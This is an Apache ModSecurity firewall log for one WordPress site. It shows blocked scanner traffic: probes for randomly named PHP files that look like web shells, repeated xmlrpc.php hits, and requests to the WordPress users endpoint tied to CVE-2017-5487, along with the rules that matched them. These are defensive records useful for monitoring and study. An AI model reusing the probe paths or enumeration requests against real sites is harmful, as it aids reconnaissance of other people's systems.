[Mon Jan 05 00:41:14.036325 2026] [:error] [pid 6937:tid 6967] [client 20.42.211.204:40335] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alog.php"] [unique_id "aVqYKgfTYSkMJzNSH4VWvQAAAUU"]
[Mon Jan 05 00:41:14.088978 2026] [:error] [pid 6937:tid 6992] [client 20.42.211.204:58088] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alog.php"] [unique_id "aVqYKgfTYSkMJzNSH4VWvgAAAVY"]
[Mon Jan 05 00:41:14.217653 2026] [:error] [pid 6613:tid 6634] [client 20.42.211.204:38848] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alog.php"] [unique_id "aVqYKsW2a9pc2Efh4D39EwAAARM"]
[Mon Jan 05 00:41:14.255199 2026] [:error] [pid 6613:tid 6632] [client 20.42.211.204:12196] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alog.php"] [unique_id "aVqYKsW2a9pc2Efh4D39FAAAARE"]
[Mon Jan 05 00:41:14.300216 2026] [:error] [pid 6613:tid 6618] [client 20.42.211.204:40331] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7T6.php"] [unique_id "aVqYKsW2a9pc2Efh4D39FQAAAQM"]
[Mon Jan 05 00:41:14.362887 2026] [:error] [pid 22541:tid 22612] [client 20.42.211.204:12218] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7T6.php"] [unique_id "aVqYKkkjzS6tgkL3JEunPAAAAgs"]
[Mon Jan 05 00:41:14.434472 2026] [:error] [pid 6613:tid 6621] [client 20.42.211.204:53762] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7T6.php"] [unique_id "aVqYKsW2a9pc2Efh4D39FwAAAQY"]
[Mon Jan 05 00:41:14.466843 2026] [:error] [pid 6613:tid 6633] [client 20.42.211.204:12204] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7T6.php"] [unique_id "aVqYKsW2a9pc2Efh4D39GAAAARI"]
[Mon Jan 05 00:41:14.515066 2026] [:error] [pid 6937:tid 6982] [client 20.42.211.204:50349] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aVqYKgfTYSkMJzNSH4VWwAAAAU0"]
[Mon Jan 05 00:41:14.556847 2026] [:error] [pid 6937:tid 6994] [client 20.42.211.204:53784] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aVqYKgfTYSkMJzNSH4VWwQAAAVg"]
[Mon Jan 05 00:41:14.587529 2026] [:error] [pid 7626:tid 7657] [client 20.42.211.204:44314] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aVqYKljhVzHrevQ2GQzbpgAAAdI"]
[Mon Jan 05 00:41:14.691158 2026] [:error] [pid 7155:tid 7162] [client 20.42.211.204:34656] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aVqYKiD_CRsWjWrSXNI9EAAAAYU"]
[Mon Jan 05 00:41:14.770611 2026] [:error] [pid 6613:tid 6628] [client 20.42.211.204:40348] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Rk41.php"] [unique_id "aVqYKsW2a9pc2Efh4D39GgAAAQ0"]
[Mon Jan 05 00:41:14.848804 2026] [:error] [pid 7155:tid 7161] [client 20.42.211.204:53790] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Rk41.php"] [unique_id "aVqYKiD_CRsWjWrSXNI9EQAAAYQ"]
[Mon Jan 05 00:41:14.914078 2026] [:error] [pid 7155:tid 7158] [client 20.42.211.204:44297] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Rk41.php"] [unique_id "aVqYKiD_CRsWjWrSXNI9EgAAAYE"]
[Mon Jan 05 00:41:14.960133 2026] [:error] [pid 7626:tid 7652] [client 20.42.211.204:12160] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Rk41.php"] [unique_id "aVqYKljhVzHrevQ2GQzbqAAAAc0"]
[Mon Jan 05 00:41:15.025380 2026] [:error] [pid 6937:tid 6984] [client 20.42.211.204:50326] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ztv.php"] [unique_id "aVqYKwfTYSkMJzNSH4VWwgAAAU8"]
[Mon Jan 05 00:41:15.101990 2026] [:error] [pid 6937:tid 6971] [client 20.42.211.204:34655] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ztv.php"] [unique_id "aVqYKwfTYSkMJzNSH4VWwwAAAUg"]
[Mon Jan 05 00:41:15.135375 2026] [:error] [pid 6937:tid 6962] [client 20.42.211.204:12186] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ztv.php"] [unique_id "aVqYKwfTYSkMJzNSH4VWxAAAAUA"]
[Mon Jan 05 00:41:15.168909 2026] [:error] [pid 6937:tid 6993] [client 20.42.211.204:40336] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ztv.php"] [unique_id "aVqYKwfTYSkMJzNSH4VWxQAAAVc"]
[Mon Jan 05 00:41:15.201454 2026] [:error] [pid 6937:tid 6989] [client 20.42.211.204:12168] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sef.php"] [unique_id "aVqYKwfTYSkMJzNSH4VWxgAAAVQ"]
[Mon Jan 05 00:41:15.240284 2026] [:error] [pid 7626:tid 7647] [client 20.42.211.204:44338] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sef.php"] [unique_id "aVqYK1jhVzHrevQ2GQzbqQAAAcg"]
[Mon Jan 05 00:41:15.295020 2026] [:error] [pid 1221:tid 1277] [client 20.42.211.204:40340] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sef.php"] [unique_id "aVqYK5_3f4CdEKVLTXUDiAAAAJY"]
[Mon Jan 05 00:41:15.325621 2026] [:error] [pid 6937:tid 6980] [client 20.42.211.204:58104] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sef.php"] [unique_id "aVqYKwfTYSkMJzNSH4VWxwAAAUs"]
[Mon Jan 05 00:41:15.367430 2026] [:error] [pid 6937:tid 6981] [client 20.42.211.204:53787] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aVqYKwfTYSkMJzNSH4VWyAAAAUw"]
[Mon Jan 05 00:41:15.410194 2026] [:error] [pid 7626:tid 7642] [client 20.42.211.204:53789] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aVqYK1jhVzHrevQ2GQzbqgAAAcM"]
[Mon Jan 05 00:41:15.473656 2026] [:error] [pid 7155:tid 7174] [client 20.42.211.204:44300] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aVqYKyD_CRsWjWrSXNI9EwAAAZE"]
[Mon Jan 05 00:41:15.536198 2026] [:error] [pid 7626:tid 7651] [client 20.42.211.204:58068] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aVqYK1jhVzHrevQ2GQzbqwAAAcw"]
[Mon Jan 05 02:21:15.547079 2026] [:error] [pid 11570:tid 11581] [client 34.53.65.234:56009] [client 34.53.65.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.65.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVqvm1pq_sPZb-JYukUS2QAAAsk"]
[Mon Jan 05 02:21:18.916624 2026] [:error] [pid 11570:tid 11595] [client 34.53.65.234:56009] [client 34.53.65.234] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVqvnlpq_sPZb-JYukUS3AAAAtc"]
[Mon Jan 05 02:21:20.338845 2026] [:error] [pid 11570:tid 11585] [client 34.53.65.234:56009] [client 34.53.65.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.65.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVqvoFpq_sPZb-JYukUS3wAAAs0"]
[Mon Jan 05 02:21:22.237819 2026] [:error] [pid 6937:tid 6994] [client 34.53.65.234:65284] [client 34.53.65.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.65.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVqvogfTYSkMJzNSH4Vx3gAAAVg"]
[Mon Jan 05 02:21:24.045720 2026] [:error] [pid 22541:tid 22618] [client 34.53.65.234:55623] [client 34.53.65.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.65.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVqvpEkjzS6tgkL3JEu3dAAAAhE"]
[Mon Jan 05 02:21:25.975705 2026] [:error] [pid 8447:tid 8465] [client 34.53.65.234:64820] [client 34.53.65.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.65.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVqvpblwvJttJsvQpd_mWwAAAo8"]
[Mon Jan 05 02:21:28.012507 2026] [:error] [pid 6613:tid 6620] [client 34.53.65.234:49631] [client 34.53.65.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.65.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVqvqMW2a9pc2Efh4D0QywAAAQU"]
[Mon Jan 05 02:21:28.012711 2026] [:error] [pid 6613:tid 6620] [client 34.53.65.234:49631] [client 34.53.65.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.65.234, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVqvqMW2a9pc2Efh4D0QywAAAQU"]
[Mon Jan 05 03:47:42.336161 2026] [:error] [pid 40493:tid 40517] [client 34.138.177.238:51152] [client 34.138.177.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.177.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVrD3nZqOElnJ4WUoPSKBAAAANQ"]
[Mon Jan 05 03:47:45.906840 2026] [:error] [pid 40493:tid 40513] [client 34.138.177.238:51152] [client 34.138.177.238] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVrD4XZqOElnJ4WUoPSKCgAAANA"]
[Mon Jan 05 03:47:47.468960 2026] [:error] [pid 40493:tid 40512] [client 34.138.177.238:51152] [client 34.138.177.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.177.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVrD43ZqOElnJ4WUoPSKEQAAAM8"]
[Mon Jan 05 03:47:49.854089 2026] [:error] [pid 40493:tid 40499] [client 34.138.177.238:65416] [client 34.138.177.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.177.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVrD5XZqOElnJ4WUoPSKFQAAAMI"]
[Mon Jan 05 03:47:51.843392 2026] [:error] [pid 40391:tid 40413] [client 34.138.177.238:57631] [client 34.138.177.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.177.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVrD51SGJ9PNpGKV_0BbygAAAA4"]
[Mon Jan 05 03:47:53.833678 2026] [:error] [pid 40393:tid 40481] [client 34.138.177.238:58158] [client 34.138.177.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.177.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVrD6T8mhp6edHdIKkmPcQAAAJM"]
[Mon Jan 05 03:47:55.809180 2026] [:error] [pid 40391:tid 40405] [client 34.138.177.238:56338] [client 34.138.177.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.177.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVrD61SGJ9PNpGKV_0BbzgAAAAY"]
[Mon Jan 05 03:47:55.809341 2026] [:error] [pid 40391:tid 40405] [client 34.138.177.238:56338] [client 34.138.177.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.138.177.238, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVrD61SGJ9PNpGKV_0BbzgAAAAY"]
[Mon Jan 05 04:52:00.654236 2026] [:error] [pid 5536:tid 5604] [client 43.157.148.38:43094] [client 43.157.148.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVrS8ARtMZNG6xI8yDy8QgAAAIc"]
[Mon Jan 05 06:29:25.784394 2026] [:error] [pid 5535:tid 5594] [client 36.41.75.167:45461] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVrpxWnkedMjhVX0PTWZeAAAAFg"]
[Mon Jan 05 07:24:35.301206 2026] [:error] [pid 6680:tid 6696] [client 134.209.98.122:49782] [client 134.209.98.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.209.98.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVr2s6E58uNoazzTmx0QLwAAAQ4"]
[Mon Jan 05 07:24:37.759007 2026] [:error] [pid 6680:tid 6682] [client 134.209.98.122:49782] [client 134.209.98.122] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVr2taE58uNoazzTmx0QMQAAAQA"]
[Mon Jan 05 07:24:39.187786 2026] [:error] [pid 6680:tid 6704] [client 134.209.98.122:49782] [client 134.209.98.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.209.98.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVr2t6E58uNoazzTmx0QNQAAARY"]
[Mon Jan 05 07:24:41.018576 2026] [:error] [pid 5535:tid 5582] [client 134.209.98.122:51458] [client 134.209.98.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.209.98.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVr2uWnkedMjhVX0PTWtFAAAAEw"]
[Mon Jan 05 07:24:42.809738 2026] [:error] [pid 5632:tid 5652] [client 134.209.98.122:62032] [client 134.209.98.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.209.98.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVr2uoN3ZWvlOh-nbt_WPQAAAMg"]
[Mon Jan 05 07:24:44.614882 2026] [:error] [pid 5535:tid 5573] [client 134.209.98.122:53856] [client 134.209.98.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.209.98.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVr2vGnkedMjhVX0PTWtHwAAAEM"]
[Mon Jan 05 07:24:46.416172 2026] [:error] [pid 6680:tid 6693] [client 134.209.98.122:58725] [client 134.209.98.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.209.98.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVr2vqE58uNoazzTmx0QOwAAAQs"]
[Mon Jan 05 07:24:46.416357 2026] [:error] [pid 6680:tid 6693] [client 134.209.98.122:58725] [client 134.209.98.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 134.209.98.122, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVr2vqE58uNoazzTmx0QOwAAAQs"]
[Mon Jan 05 12:01:12.987977 2026] [:error] [pid 6680:tid 6682] [client 43.157.170.13:50462] [client 43.157.170.13] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVs3iKE58uNoazzTmx1tTAAAAQA"]
